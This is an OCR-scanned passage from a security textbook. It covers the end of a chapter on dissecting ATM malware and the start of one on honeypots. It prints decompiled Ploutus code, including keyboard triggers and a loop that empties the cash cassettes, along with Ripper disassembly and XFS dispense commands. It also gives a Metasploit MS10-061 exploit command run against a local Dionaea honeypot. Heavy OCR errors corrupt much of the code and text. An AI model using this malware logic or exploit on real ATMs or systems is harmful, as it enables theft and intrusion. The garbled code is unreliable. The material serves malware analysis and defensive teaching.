PloutusService.Program.NCRV.UIDisable();@ 
PloutusService. Program.NCRV.ClearText (); 
PloutusService.MemoryData.Command = System.String.Empty; 


if (KeyData.KeyCode == System.Windows.Forms.Keys.FS) 
PloutusService.Program.NCRV.KeyControlUp(); 

if (KeyData.KeyCode == System.Windows.Forms.Keys.F6) 
PloutusService.Program.NCRV.KeyControlDown(í); 

if (KeyData.KeyCode == System.Windows.Forms.Keys.F7) 
PloutusService.Program.NCRV.KeyControlNext(); 

if (KeyData.KeyCode == System.Windows.Forms.Keys.F8) 


PloutusService.Program.NCRV.KeyControlBackí); 


} 


The second form of interaction is via the pinpad, where the attackers enter a 
combination of numbers in order to bring up the malware interface. In order to 
accomplish this, the malware needs to use the XFS APIs, as shown earlier in Figure 20- 
5, where the command PIN GET DATA is reading the information entered. 

The last form of interaction is via the ATM’s card reader. Similar to the pinpad 
strategy, the malware uses the XFS APIs, but this time to interact with the target device 
and read the data on tracks 1 and 2 from the debit card. If the magic number expected by 
the attackers 1s provided, the GUI will be activated. In cases like Ripper, that's the 
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trigger to start emptying the ATM. 


How the Information or Money Is Stolen 
In cases where the cardholder data 1s the target, 1f skimmers are used, these devices 
already come with wireless protocols such as GSM that allow the attackers to receive 
the stolen information in real time. When malware is used to accomplish this goal, as in 
the cases of PanDeBono or NeaBolsa malware, the stolen information 1s copied into the 
attackers’ USB that's plugged into the ATM. 

Regarding cash, all the threats interact with the ATM dispenser (no need for an exploit 
or authentication bypass) just by using the XFS APIs, and without any restrictions the 
dispenser will start providing money. Refer to the section “ATM Malware 


Countermeasures,” later in this chapter, for recommendations of how to mitigate these 
risks. 


Techniques for Dissecting the Malware 

In this section, we talk about how to dissect ATM malware and extract the most 
important indicators of compromise (IOCs). The main goals during a malware 
investigation should be the following: 


1. Confirm the sample is targeting ATMs. 
2. Confirm the sample 1s malicious. 


3. Identify how the malware was installed. Normally it 1s very difficult to know this, 
unless the customer affected provides that information. 


4. Identify how the malware interacts with the attackers. 


5. Identify the purpose of the malware: either targeting the cardholder or the cash 
inside the ATM. 


All these steps are detailed in this section. 


Confirm the Sample Is Targeting AIMs 

If your Job requires you to perform analysis on ATM malware, the first thing you need to 
do is to confirm that the sample provided is actually targeting these machines. One way 
to validate this is to check whether the binary in question is importing MSXFS.dll, 
which is the DLL that implements the default XFS manager in the teller machine (all the 
WFS* and WFM* functions described earlier in the chapter). This is a strong indicator. 
Figure 20-7 shows the Import Table from Ripper ATM malware (after UPX has 
unpacked the malware), and you can see that MSXFS.dll has been imported. This 1s the 
case with other malware families as well, such as GreenDispenser, Alice, SUCEFUL, 


and Padpin. 


H WFSClose | MSnPS.dll 





Figure 20-7 Ripper ATM malware importing MSXFS.dll 





Malware such as Ploutus does not follow the same strategy, so you won't find the 
same indicator. Instead, you should look for references to the XFS middleware. Ploutus 
is able to control the APTRA middleware from NCR or the middleware from Kalignite, 
which is a multivendor solution. For these cases, you should look for the presence of 
libraries such as NCR.APTRA.AXFS and K3A.Platform.dll and verify them 
accordingly. 
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NOTE This approach assumes the malware 1s not packed or obfuscated. If that 1s the 
case (Ploutus always comes highly obfuscated), the first step would be to deobfuscate 
or unpack the sample and then try to find the aforementioned indicators. 


Confirm the Sample Is Malicious 

Now that we've confirmed the sample we're dealing with 1s definitely created to work 
on an ATM machine, it is important for us to confirm whether it 1s malicious. Otherwise, 
we could be dealing with ATM testing tools that use the same libraries for legitimate 
purposes (for example, to perform withdrawals or card readings to confirm the 
peripheral works as expected). 

One way to verify maliciousness 1s by looking for logging or custom error messages 
in the sample. Sometimes it’s very easy to spot those custom messages. For example, the 
latest Ploutus-D variant at the time of this writing had the message “PLOUTUS-MADE- 
IN-LATIN-AMERICA-XD,” which clearly lets us know it is malware. Figure 20-8 
shows an extract of strings found in the Ripper malware. When you look at the custom 
messages here, such as “Dispensing “od items from cash unit" as well as “CLEAN 
LOGS" and *NETWORK: DISABLE," you can see that they highly suggest something 
malicious 1s being done with this sample. 





Figure 20-8 Custom error messages in Ripper 





Another important verification 1s related to the code that 1s trying to dispense cash 
(and, even better, 1f the withdrawal 1s within a loop attempting to empty the ATM). The 
following code listing shows the famous loop from the Ploutus version. It retrieves the 
denomination of Cassette 4 ($5, $20, $50, or $100) and then multiplies by the maximum 
number of bills allowed by the dispenser (1n this scenario, this 1s 40 for NCR Personas, 
which is one of the targets of Ploutus) in order to calculate the total amount to withdraw 
e. If the number of bills in the cassette is less than 40, it moves to the next cassette and 
performs the same actions e. Ploutus wants to start with a cassette with more bills 
loaded! This process is repeated @ until no more cash is left in the cassettes. 
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int i2 - Cassette4.CashUnitValue; 

DispenceA = PloutusService.MemoryData.Bill * System.Int32.Parse(i2.ToString());8 
int 13 = Cassette4,UnitCurrentCount; 
PloutusService.Utils.UpdateLog("CashUnitCurrentCount -Cassette4:" + 13); 

if (System.Int32.Parse(i3.ToString()) < 40) 


int i4 = Cassette3.CashUnitValue; © 
DispenceA = PloutusService.MemoryData.Bill * System.Int32.Parse(i4.ToString(í)]); 


} 


int 15 = Cassette4.UnitCurrentCount; 

int 16 = Cassette3.UnitCurrentCount; 
PloutusService.Utils.UpdateLog("CashUnitCurrentCount -Cassette3:" + 16); 

if ((System.Int32.Parse(i5.ToString()) < 40) & (System.Int32.Parse(i6.ToString()) « 40)) 


int i7 = Cassette2.CashUnitValue;® 
DispenceA = Ploutusservice .MemoryData.Bill * System.Int32.Parse(i17.Tostring(}) ; 


int 18 = Cassette4.UnitCurrentCount; 

int 19 = Cassette3.UnitCurrentCount ; 

int 110 = Cassette2.UnitCurrentCount; 
PloutusService.Utils.UpdateLog("CashUnitCurrentCount -Cassette2:" + 110]; 

if ((System.Inti2.Parse(i8.ToString()) < 40) & (System.Int32.Parse(i9.ToString()) < 40) 
& (System.Int32.Parse(ilO.ToString()) < 401) 


int 111 = Cassettel.CashUnitValue; 
DispenceA = PloutusService.MemoryData.Bill * System.Int32.Parse(ill.ToString()); 


Identify How the Malware Interacts with the Attackers 


This step separates traditional malware analysis from ATM-based analysis. Here, we 
focus on the analysis of the XFS APIs to understand the purpose of the malware. The 
two main APIs to focus on are WFSOpen and WFSExecute (or their asynchronous 
versions). 

As explained in previous sections, the WFSOpen API allows us to know the 
peripheral the malware 1s trying to interact with. This will give us a clue as to what the 
malware is trying to do. For example, 1f we see only interactions with the pinpad, then 
that 1s probably the way to interact with the malware. 

If you go to the Imports tab in IDA Disassembler and then press x on the API in 
question, all the references to that API within the binary will be displayed (see Figure 
20-9). 


[3] IDA View | e Hex Views | En Exports | or Imports | HN names | XA Functions | Stings | Á Structures | En Enums | 


* .idata:08052801F 0 extrn UFSGetInfo:dword ; DATA XREF: sub hg2526«60Tr 
.idata:805281F8B8 : sub HBBEER*1DTr ... 
* ~idata:O0452A1F4 extrn UFSsExeculezdword  ; DATA XREF: sub hü1DOF«270Tr 
.l1data:0805281F^ - sub 488FC8«100Tr ... 
* .idata:BB8h281F8 extrn UFSRegisterzdword ; DATA XREF: sub ^8955D«11Tr 
* ,idata: OO452A1FE extrn UFSÜpenz:dword : DATA XREF: sub SO9TE9+4F Tr 
.ldata:80528288 extrn UFSCancelfüsyncRequestzdword ; DATA XREF: sub SOF76C+ATr 
.idata:B80528?8h extrn WESStartUp:dword  ; DATA XREF: sub 4S@ASE?+DTr 
i: HUSA? OS extrn WFSCleanUpidword ; DATA AREF: „texi sloc h5ünh5üg6Tr 
1: 885252 OC 
iz HOS2A2 76 
i: HO42A210 ; Imp 
-idata:B8Bh528218 
* .idata:ü0528218 
.1data:80528210 
1 
] 
l 
1 
1 


-idat: 
.idat: 
.idat. 
.idat. 


| xrefs to WFSO pen 























.idata:ü8528218 

* ,idata: 80820214 ; 
.ldata:0528215h 
-idata: 60420214 

* .idata:00520218 
.idata:8852821CD ; 
-idata:80452A21C ; Impak 








Figure 20-9 Cross-reference feature in IDA 


Once you've identified the calls to WFSOpen, you just need to look at the content of 
the first parameter, which is a string identifying the peripheral to interact with (keep in 
mind this name changes depending on the ATM vendor). In Figure 20-10, an example of 


the SUCEFUL ATM malware? is shown interacting with the card reader peripheral of 
two vendors: Diebold (known as DBD MotoCardRdr) and NCR (known as 
IDCardUnit1). 


device 409194, offset aDbdMotocardrdr_0 ; "DBD _MOTOCARDRDR" 
offset word 40C234 
offset unk _ 40C43E 
offset unk_40C236 
dword 409198 
dword_40C650 

dword 40C22C 
dword 40C228 

dword 40C224 
device 409194 
WFSOpen 40C70C 


Lan TT m m 


device M09194, offset aIdcardunitl ; "IDCardUnit1" | 
offset word 400234 
offset unk 40C43E 


offset unk_40C236 
adword 409196 
dword 40C650 
dword 40C22C 
dword 40C228 
dword 40C224 
device 409194 
WFSOpen 40C70C 





Figure 20-10 WFSOpen calls from different vendors 
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Once you know the peripheral or logical device the malware is trying to interact with, 
it's time to find out the command to execute it, making sure to correlate the WFSOpen 
calls with the WFSExecute calls to distinguish among the operations requested. Once 
you identify the WFSExecute calls, you need to focus on the second parameter, which 1s 
a number that indicates the action to be performed. Again, let's take Ripper as an 
example. In the following code listing, the second parameter being pushed 1s the number 
302 (see line .text:004090B8), but what is the purpose of this number? 


,Lext:004090B8 push 302 

.text :004090BD push eax 

.text:004090BE mov word ptr [ebp-28h], 2020h 
.Ltext:004090C4 mov byte ptr lebp-26h], 20h 
.text:004090C8 mov [ebp-25h], ecx 
,text:004090CB mov [ebp-1Bh], ecx 

-text :004090CE mov [ebp-1Fh], edi 
.Lext:004090D1 call ds:WFSExecute 


In order to know the answer, you need to have the headers of the XFS SDK ready (see 
Figure 20-11). 


a Name 


AFSUDM 
AFSTIU 
AFSSPI 
RFSSIU 
AFSPIR 
InFSPIH 
APS TDG 
AFSDEP 
hid ens 
Ixf scim 
AFSCHK 
xfsceu 
hM 
a FSCRHM 
IA FSRPT 
xfsalm 
AFSADMIN 





Figure 20-11 OpenXFS header files 


Every header represents one of the peripherals and 1s located within a range as 
follows: 


* 100- XFSPTR Banking printer definitions 

e 200- XFSIDC Identification card unit definitions 

e 300- XFSCDM Cash dispenser definitions 

e 400- XFSPIN Personal identification number keypad definitions 


e 800- XFSSIU Sensors and indicators unit definitions 
e 900- XFSVDM  Vendor-dependent mode definitions 


Since the number in question 1s 302, let's have a look at the XFSCDM file definition 
within the SDK. We focus on the *CDM Execute Commands" section because 
WFSExecute was called (the “CDM Info Commands" section is used when WFSGetInfo 
is called). Following is the formula to calculate the target number: 


(CDM SERVICE OFFSET = WFS SERVICE CLASS CDM(3)@* 100) + 2 = 302 


We are able to identify the 302 command in question, WES CMD CDM DISPENSE@, 
which refers to dispensing money. 
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#define 
#define 
#define 


#define 


/* CDM Info 


#define 
#define 
#define 
#define 
#define 
#define 
#define 
#define 


WFS SERVICE CLASS CDM 
WFS SERVICE CLASS VERSION CDM 
WFS SERVICE CLASS NAME CDM 


CDM_SERVICE_OFFSET 


Commands */ 

WFS INF CDM STATUS 

WFS INF CDM CAPABILITIES 
WFS INF CDM CASH UNIT INFO 
WFS INF CDM TELLER INFO 
WFS INF CDM CURRENCY EXP 
WFS INF CDM MIX TYPES 

WFS INF CDM MIX TABLE 

WFS INF CDM PRESENT STATUS 


/* CDM Execute Commands */ 


#define 
#define 


#define 
#define 
#define 
#define 
#define 
#define 
#define 
#define 
#define 
#define 


WFS CMD CDM DENOMINATE 
WFS CMD CDM DISPENSE 


WFS CMD CDM PRESENT 

WFS CMD CDM REJECT 

WFS CMD CDM RETRACT 

WFS CMD CDM OPEN SHUTTER 

WFS CMD CDM CLOSE SHUTTER 

WFS CMD CDM SET TELLER INFO 
WFS CMD CDM SET CASH UNIT INFO 
WFS CMD CDM START EXCHANGE 

WFS CMD CDM END EXCHANGE 

WFS CMD CDM OPEN SAFE DOOR 


/* CDM Messages */ 


#define 
#define 
#define 
#define 
#define 


WFS SRVE CDM SAFEDOOROPEN 
WFS SRVE CDM SAFEDOORCLOSED 
WFS USRE CDM CASHUNITTHRESHOLD 


WFS SRVE CDM CASHUNITINFOCHANGED 


WFS SRVE CDM TELLERINFOCHANGED 


/* WOSA/XFS CDM Errors */ 


#define 
#define 
#define 
#define 
#define 
#define 


typedef 


WFS ERR CDM INVALIDCURRENCY 
WFS ERR CDM INVALIDTELLERID 

WFS ERR CDM CASHUNITERROR 

WFS ERR CDM INVALIDDENOMINATION 
WFS ERR CDM INVALIDMIXNUMBER 
WFS ERR CDM NOCURRENCYMIX 


struct wfs cdm cashunit@ 


(-(CDM SERVICE OFFSET + 0)) 
(-(CDM SERVICE OFFSET + 1)) 
(-(CDM SERVICE OFFSET + 2)) 
(-(CDM SERVICE OFFSET + 3)) 
(-(CDM SERVICE OFFSET + 4)} 
(-(CDM SERVICE OFFSET + 5)) 


(3) 
0x0003 
"CDM" 


(WFS SERVICE CLASS CDM * 100)6 


(CDM SERVICE OFFSET + 1) 
(CDM SERVICE OFFSET + 2) 
(CDM SERVICE OFFSET + 3) 
(CDM SERVICE OFFSET + 4) 
(CDM SERVICE OFFSET + 6) 
(CDM SERVICE OFFSET + 7) 
(CDM SERVICE OFFSET + 8) 
(CDM SERVICE OFFSET + 9) 


(CDM SERVICE OFFSET + 1) 
(CDM SERVICE OFFSET + 2)0 


(CDM SERVICE OFFSET + 3) 
(CDM SERVICE OFFSET + 4) 
(CDM SERVICE OFFSET + 5) 
(CDM SERVICE OFFSET + 7) 
(CDM SERVICE OFFSET + 8) 
(CDM SERVICE OFFSET + 9) 
(CDM SERVICE OFFSET + 10) 
(CDM SERVICE OFFSET + 11) 
(CDM SERVICE OFFSET + 12) 
(CDM SERVICE OFFSET + 13) 
(CDM SERVICE OFFSET + 1) 
(CDM SERVICE OFFSET + 2) 
(CDM SERVICE OFFSET + 3) 
(CDM SERVICE OFFSET + 4) 
(CDM SERVICE OFFSET + 5) 


USHORT 
USHORT 
LPSTR 
CHAR 
CHAR 
ULONG 
ULONG 
ULONG 
ULONG 
ULONG 
ULONG 
BOOL 
USHORT 
USHORT 


LPWFSCDMPHCU 


usNumber; 

usType; 
lpszCashUnitName; 
cUnitID [5]: 
cCurrencyID [3]; 
ulValues; 
ulInitialCount; 
ulCount; 
ulRejectCount; 
ulMinimum; 
ulMaximum; 
bAppLock; 
usStatus; 
usNumPhysicalCUs; 


*lppPhysical; 


} WFSCDMCASHUNIT, * LPWFSCDMCASHUNIT; 


There 1s more useful information in these definition files that can help the reverser to 
fully understand the malware logic, such as status messages, error messages, and even 


structure definitions @. 


Now you should be able to dissect the command executed in the next code listing 
taken from Ripper malware: 


.text:0040257B 
.text:0040257C 
.,Lext:0040257D 
-text:00402582 
.text:00402583 
.text:00402586 


push 
push 
push 
push 
mov 

call 


ebx 

ebx 

2010 

eax 

[ebp-4Ch], ebx 
ds:WFSGetInfo 


We can see that the command 201 @ belongs to the XFSIDC definitions file (see 
Figure 20-11), and because the WFSGetInfo call 1s being used, we focus on the *IDC 
Info Commands" section this time. Next, we identify that the WFS INF IDC STATUS 
@ command is being called, basically to know the status of the card reader! 
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#define 
#define 
#define 


#define 


/* IDC Info 


#define 
#define 
#define 
#define 


WFS SERVICE CLASS IDC 
WFS SERVICE CLASS NAME IDC 
WFS SERVICE CLASS VERSION IDC 


IDC SERVICE OFFSET 


Commands */ 

WFS INF IDC STATUS 

WFS INF IDC CAPABILITIES 
WFS INF IDC FORM LIST 
WFS INF IDC QUERY FORM 


/* IDC Execute Commands */ 


define 
#define 
#define 
#define 


WFS CMD IDC READ TRACK 
WFS CMD IDC WRITE TRACK 
WFS CMD IDC EJECT CARD 
WFS CMD IDC RETAIN CARD 


(2) 
"IDC" 
0x0203 


(WFS SERVICE CLASS IDC * 100) 


(IDC SERVICE OFFSET 
(IDC SERVICE OFFSET 
(IDC SERVICE OFFSET 
(IDC SERVICE OFFSET 


(IDC SERVICE OFFSET 
(IDC SERVICE OFFSET 
(IDC SERVICE OFFSET 
(IDC SERVICE OFFSET 


++ + + 


1) © 
2) 
3) 
4 ) 


b Ww BN P 


For malware such as Ploutus that focuses on controlling the XFS middleware (Agilis, 
APTRA, Kalignite, and so on), this approach won't work. Fortunately, Ploutus likes 
.NET. Therefore, once the malware 1s deobfuscated, full source code 1s available for 
analysis, without any need for reversing the majority of the components (although some 
components are implemented in Delphi and require reversing). 


ATM Malware Countermeasures 


Here is a list of best practices when dealing with ATM malware that are definitely 
recommended but not applicable to all attack scenarios: 


e An antivirus or Host Intrusion Prevention System (HIPS) is useful 1f and only if it 
is "ATM environment" aware. These products normally won't be able to detect 


malicious behavior in the dispenser, for example. 


* Disk encryption helps with offline attacks that transfer the malware to the teller 
machine by disconnecting the storage device from the ATM. 


* Application whitelisting helps to execute the expected processes only. 


* Penetration testing helps to proactively identify issues before hackers do. 


* BIOS with password protection should be enabled. 


e ATM malware training is useful for understanding how to dissect and detect 
specific threats. 


* The “ATM Software Security Best Practices Guide" and the “ATM Security 
Guidelines" should be followed. See the *For Further Reading" section for more 
specifics. 


summary 

In this chapter, we described the different components of an ATM and the role that each 
plays while dispensing money. We explored the different types of malware that affect 
these teller machines, dissecting their inner workings. Finally we presented 
countermeasures to try to mitigate the risk of this threat, which has led to the theft of 
millions of dollars from banks worldwide. 


For Further Reading 


ATM Security 
Guidelines https://www.pcisecuritystandards.org/pdfs/PCI ATM Security Guidelines 


ATM Software Security Best Practices 
Guide = https://www.atmia.com/files/Best%20Practices/ATMIA%20Best%20Practices‘ 


XFS middleware  https://en.wikipedia.org/ wiki/CEN/XFS 
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Deception: Next-Generation Honeypots 


This chapter covers the topic of deception for defensive purposes. The chapter first 
covers deception in conflict from a historical perspective and then moves into the use of 
deception for protection of information systems using honeypots. The chapter provides 
many hands-on examples and explores the latest 1n deception and honeypot 
technologies. 

In this chapter, we cover the following topics: 

* Brief history of deception 

* Honeypots as a form of deception 

* Open source honeypots 

* Commercial options 





Brief History of Deception 


Deception is as old as conflict. In fact, earlier than 800 bce, Sun Tzu, in his book The 
Art of War, said, “All warfare is based on deception."! A notable example of using 
deception in war includes Operation Bodyguard during WWII, when Allied forces used 
deception to feint attacks and make the Germans think the attacks were coming from 
another direction.^ Several fake airfields and a small army of Hollywood set builders 
created inflatable tanks and planes and buildings. All of this effort was successful in 
deceiving the Germans and caused them to hold a portion of their forces in reserve on 
D-Day. 

As far as using deception to protect information systems, Fred Cohen 1s considered by 
many to be the grandfather of deception and derivative concepts such as honeypots. 
Cohen is also known as the person who first published the term computer virus, in 
1984,° by citing Len Adleman, who coined the term. Later, Cohen wrote the seminal 
work, “A Note on the Role of Deception in Information Protection,” in 1998.* Although 
Cohen gave credit to others before him, such as Bill Cheswick and researchers at 
AT&T, it was Cohen and his associates who created the Deception Toolkit, which 
served as one of the first real honeypots.? 
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If Fred Cohen 1s the grandfather of modern deception technologies and honeypots, then 
Lance Spitzner should be considered the father of those technologies. Spitzner, 1n 1999, 
with little more than a computer connected to the Internet from his spare bedroom? 
inspired a generation of enthusiasts and founded the honeynet.org group,/ which 
continues to contribute to the field of deception technologies to this day. The 
honeynet.org group defined and built many levels and types of honeypots, many of which 
were the precursors of what we have today. We stand on the shoulders of these giants as 
we present some of the latest technologies 1n this chapter. 


Honeypots as a Form of Deception 


A honeypot may be simply defined as a system that has no legitimate purpose other than 
to be attacked and thereby give alerts of such activity. As has already been discussed, 
honeypots have been used for deception for many years. One of the problems with early 
honeypot technologies was the lack of the ability to scale. It often took an experienced 
security expert to deploy and monitor the technology, which was a full-time job 1n some 
environments, even just to monitor a few honeypots. In today's corporate environments, 
the older honeypot technology 1s simply too labor intensive to deploy effectively. 
However, what was old 1s new again! With the advent of greater virtual technologies, 
container technologies such as Docker, and analytic tools such as the Elasticsearch, 
Logstash, Kibana (ELK) stack, what was once a full-time challenge has turned into a 
valuable asset of any organization's cyberdefense, which may be managed part time. As 
we will demonstrate 1n this chapter, modern honeypots are easy to deploy and manage, 
at scale. Even industry analysts have noted that modern deception technologies should 
be deployed in order to supplement the other enterprise security technologies.? 
Honeypot technology will not replace other layers of technology, but once an attacker 1s 
inside a network, it may be your best shot at catching them. 

The main reason to deploy honeypots as a form of deception 1s to delay, disrupt, and 
distract the attacker 1n order to detect and stop them. The key attribute of honeypot 
technology 1s 1ts low false-positive nature. By the very definition we used, honeypots 
should not be touched by anyone but an attacker. Therefore, when a connection 1s made 
to a honeypot, there 1s either a misconfigured server that needs attention, a curious user 
who needs attention, or an attacker who needs attention. There are no other options; 
therefore, honeypot technology 1s about as false-positive proof as you can get. In today's 
high-false-positive environment, the ability to deploy a low or no false-positive 
technology should get your attention. 

We'll take a closer look at the following types of honeypot technologies: 


* High-interaction honeypots 


e Low-interaction honeypots 

* Medium-interaction honeypots 
* Honeyclients 

* Honeytokens 


High-Interaction Honeypots 

High-interaction honeypots are most often real systems that are 1nstrumented to monitor 
and catch an attacker in a near real-time manner. The problem, of course, with high- 
interaction honeypots 1s that real systems may be rooted and then used by the attacker to 
further their attack on the hosting network or other networks. Therefore, high-interaction 
honeypots are risky and often avoided. 


Low-Interaction Honeypots 

Low-interaction honeypots are at the other end of the spectrum; they are simulated 
services that run in some sort of emulated environment, whereby the service 1s 
simulating realistic responses. However, there 1s often a limit to that simulation. For 
example, the commands of the Telnet service may be emulated using Python or another 
scripting language, but not all of the commands work. If an attacker attempts to 
download a file with wget, for example, perhaps the command appears to work but the 
file is not provided to the attacker; instead, 1t is provided to the defender for further 
analysis. There are other practical limits as well 1n that it might not be feasible to 
emulate all the commands of Telnet. Therefore, 1f an attacker tries one of those 
commands and it fails, the deception could be over. We will take a look at some popular 
low-interaction honeypots in the coming sections and labs. 


Medium-Interaction Honeypots 

Medium-interaction honeypots were purposely listed after the other two, as they are a 
newer concept of deeply emulating services. This includes fully reproducing complex 
operating system processes, such as the SMB network protocol, to a degree that an 
attacker can run real exploits against the seemingly vulnerable service and 1n some 
cases even return a shell. This 1s a marked 1mprovement over low-interaction 
honeypots, which would normally fail on those types of attacks. Some medium- 
interaction honeypots actually proxy the commands to the real operating system to 


achieve this level of deception.^!? Another form of medium-interaction honeypot would 
be a canary service, running on a real system, whose purpose is to alert the defender to 
attacker behavior. 


Honeyclients 
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Honeyclients are the other side of the honeypot coin. Whereas honeypots are generally 
services, soliciting a connection and request from an attacker, honeyclients are client 
applications, seeking to make connections to potentially compromised systems and 
extract binaries and potential malware for the purpose of analysis and defensive use of 
that knowledge elsewhere in the enterprise. There are web-based honeyclients and other 


forms of honeyclients available as well. 


Honeytokens 

Honeytokens are any form of bait that falls outside the traditional server/client model. A 
common form of honeytokens is a file that contains fake data that is attractive to the 
attacker. When used by the attacker, this file alerts the defender to their presence. For 
example, imagine a file called passwords.txt that sits in the root directory of a user on a 
honeypot system. The file contains fake accounts and fake passwords that do not exist. 
However, the attacker does not know that when they try to use those accounts, and an 
alert is fired off in the enterprise’s Security Information Event Management (SIEM) 
system, notifying the defender to the attack. A great open source resource for generating 


and tracking honeytokens is canarytokens.org.!^ Another great open source project 
providing honeytokens to be deployed in a Linux environment is honeybits.!° 


Deployment Considerations 

When you're deploying honeypots, a few things should be considered. First, the 
honeypot should look as real as possible and thus attractive to an attacker. The level of 
verisimilitude—the appearance of being real—will make the difference between 
catching an attacker and wasting your time, or worse.!^ After all, if an attacker 
discovers you are running a honeypot, don't expect them to be kind. At best, they will 
simply leave; at worst, they may start deleting things—and not only on your honeypot. 
Therefore, great care should be given to the realism of the honeypot, particularly if it's 
placed in a production environment. For example, 1f the honeypot 1s supposed to be a 
Linux system, then don’t run Windows services, and vice versa. Further, if the attacker 
gains access to the system, leave them something real to find, such as honeytokens or 
other realistic user-level documents and configurations. 

Second, where you place your honeypot will make a difference. When considering an 
Internet-accessible honeypot, you may ask yourself whether SCADA (supervisory 
control and data acquisition) services would really be hosted in Amazon AWS IP space. 
When you're considering an internal honeypot, the configuration and services running 
should blend into the environment where you place the honeypot. If the entire enterprise 
is running Windows, except for one host, what would you suspect as an attacker? Also, 
if there are user VLANs and server VLANS, then host-based honeypots, with few, if any, 


services, should be found 1n the user VLAN and server-type configurations with 
multiple but realistic services should be found in the server VLAN. 

However, for the security researcher, there 1s another alternative. When using 
honeypots 1n a nonproduction environment, for the purpose of research, you may be 
more liberal 1n spreading your net (or honeynet), so to speak. By running one system on 
the cloud with multiple ports open (ports that don't even make sense together), you may 
certainly deter a sophisticated attacker, but the latest variant of a worm will happily 
connect and donate a sample binary specimen for you to analyze. You see, 1t all depends 
on your purpose in establishing a honeypot in the first place. 


Setting Up a Virtual Machine 


You may decide to install your honeypot on an actual full operating system, but you will 
likely want to benefit from the protections afforded by a virtual machine, in terms of 
snapshots, significant isolation from the host, and virtual network settings. In this 
chapter we use 64-bit Kali Linux 2017.1, running in a virtual machine, to take advantage 
of Docker. However, you may also decide to run your honeypots within the cloud, on 
Amazon AWS, Digital Ocean, or a similar platform. 





NOTE See the “For Further Reading” section for a reference to setting up Ubuntu 
16.04 on Amazon AWS, but user beware: do not violate any user agreements of Amazon 
or your hosting service. You have been warned. 


Open Source Honeypots 


In this section, we demonstrate several open source honeypots. 


Lab 21-1: Dionaea 


In this lab, we investigate the Dionaea honeypot, a lightweight honeypot that emulates 
several services." 
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NOTE The labs in this chapter require 64-bit Linux, as Docker does not support 32- 
bit operating systems. We use 64-bit Kali 2017.1, 1f you want to follow along. 


First, set up a folder to transfer files off the Docker: 
root@kali:~# mkdir data 
Pull down and run the Dionaea Docker image: 


docker run -it -p 21:21 -p 42:42 -p 69:69/udp -p80:80 -p 135:135 -p 443:443 -p 445:445 
-p 1433:1433 -p 1723:1723 -p 1883:1883 -p 1900:1900/udp -p 3306:3306 -p 5060:5060 

-p 5060:5060/udp -p 5061:5061 -p 11211:11211 -v '"pwd /data:/data dinotools/dionaea- 
docker:latest /bin/bash 


Now, from the new shell of the container, let's make some changes and enable 
logging: 


[container hash id]& sed -i 's/#default./default./' 
/opt/dionaea/etc/dionaea/dionaea.cfg 


Next, let's enable stream capture of sessions in the dionaea.cfg file: 
# cat ««EOF»» /opt/dionaea/etc/dionaea/dionaea.cfg 


[processor.filter streamdumper] 

name=filter 

confidg.allow.0.types-accept 
config.allow.l.types-connect 
config.allow.l.protocols-ftpctrl 
config.deny.0.protocols=ftpdata, ftpdatacon, xmppclient 
next=streamdumper 


[processor.streamdumper] 
name=streamdumper 
config.path-/opt/dionaea/var/dionaea/bistreams/$£Y-£m-&£d/ 
EOF 

Now, enable the processors: 
# sed -i 


's/processors-filter emu/processors-filter emu, filter streamdumpr/' 
/opt/dionaea/etc/dionaea/dionaea.cfg 


Now, let's launch it: 


# /opt/dionaea/bin/dionaea -u dionaea -g dionaea -c 
/opt/dionaea/etc/dionaea/dionaea.cfg 


Open another terminal session to Kali and, from that new shell, attack the honeypot 
with Metasploit: 
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root@kali:-/dionaea# msfconsole -x "use 
exploit/windows/smb/msl10 061 spoolss; set PNAME HPPrinter; set 
RHOST 127.0.0.1; set LHOST 127.0.0.1; set LPORT 4444; exploit; 
exit" 
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Trouble managing data? List, sort, group, tag and search your 
pentest data 


in Metasploit Pro -- learn more on http://rapid7.com/metasploit 
-[ metasploit v4.14.10-dev ] 

+ -- --z[ 1639 exploits - 944 auxiliary - 289 post ] 

+ -- --z[ 472 payloads - 40 encoders - 9 nops ] 

+ -- --s[ Free Metasploit Pro trial: http://r-7.co/trymsp ] 


PNAME => HPPrinter 

RHOST => 127.0.0.1 

LHOST z» 127.0.0.1 

LPORT => 4444 

[!] You are binding to a loopback address by setting LHOST to 
127.0.0.1. Did you want ReverseListenerBindAddress? 

[*] Started reverse TCP handler on 127.0.0.1:4444 

[*] 127.0.0.1:445 - Trying target Windows Universal... 
[*] 127.0.0.1:445 - Binding to 12345678-1234-abcd-EF00 
0123456789ab:1.0@ncacn_np:127.0.0.1[\spoolss] 

[*] 127.0.0.1:445 - Bound to 12345678-1234-abcd-EF00 
0123456789ab:1.0@ncacn np:127.0.0.1[\spoolss] 

[*] 127.0.0.1:445 - Attempting to exploit MS10-061 via 
\\127.0.0.1\HPPrinter 

[*] 127.0.0.1:445 - Printer handle: 
QOQN000N0000000000000000000000000000000000 

[*] 127.0.0.1:445 - Job started: 0x3 

[*] 127.0.0.1:445 - Wrote 73802 bytes to 
$SystemRoot$Wsystem32XVKurZGLb7Kudrj.exe 

[*] 127.0.0.1:445 - Job started: 0x3 

[*] 127.0.0.1:445 - Wrote 2241 bytes to 
s5ystemRoot$\system32\wbhem\mof \RN21lznSEgz7T0S.mof 

[-] 127.0.0.1:445 - Exploit failed: NoMethodError undefined 
method "unpack' for nil:NilClass 

[*] Exploit completed, but no session was created. 


Notice that the exploit from Metasploit failed. However, that was expected since we 
are running a low-interaction honeypot. The payload was transmitted and captured, 


though, which was the point of this lab. 
Now, from that second Kali shell, connect to your honeypot with FTP, as shown next. 
If you have a new install of Kali, you will have to install FTP first. 


root@kali:~/dionaea# apt-get install ftp 
Reading package lists... Done 
Building dependency tree 
Reading state information... Done 
The following NEW packages will be installed: 
ftp 
0 upgraded, 1 newly installed, 0 to remove and 1220 not upgraded. 
Need to get 58.7 kB of archives. 
After this operation, 135 kB of additional disk space will be 
used. 


«truncated for brevity> 


rootGkali:-4 ftp 127.0.0.1 
Connected to 127.0.0.1. 

220 DiskStation FTP server ready. 
Name (127.0.0.1:root): foo 

331 Password required for foo. 
Password: 

230 User logged in, proceed 

Remote system type is UNIX. 

Using binary mode to transfer files. 


ftp» help 

Commands may be abbreviated. Commands are: 

! dir mdelete qc site 

S disconnect  mdir sendport size 
account exit mget put status 
append form mkdir pwd struct 
ascii get mls quit system 
bell glob mode quote sunique 
binary hash modtime recv tenex 
bye help mput reget tick 
case idle newer rstatus trace 
cd image nmap rhelp type 
cdup ipany nlist rename user 
chmod ipv4 ntrans reset umask 
close ipv6 open restart verbose 
cr led prompt rmdir ? 
delete ls passive runique 

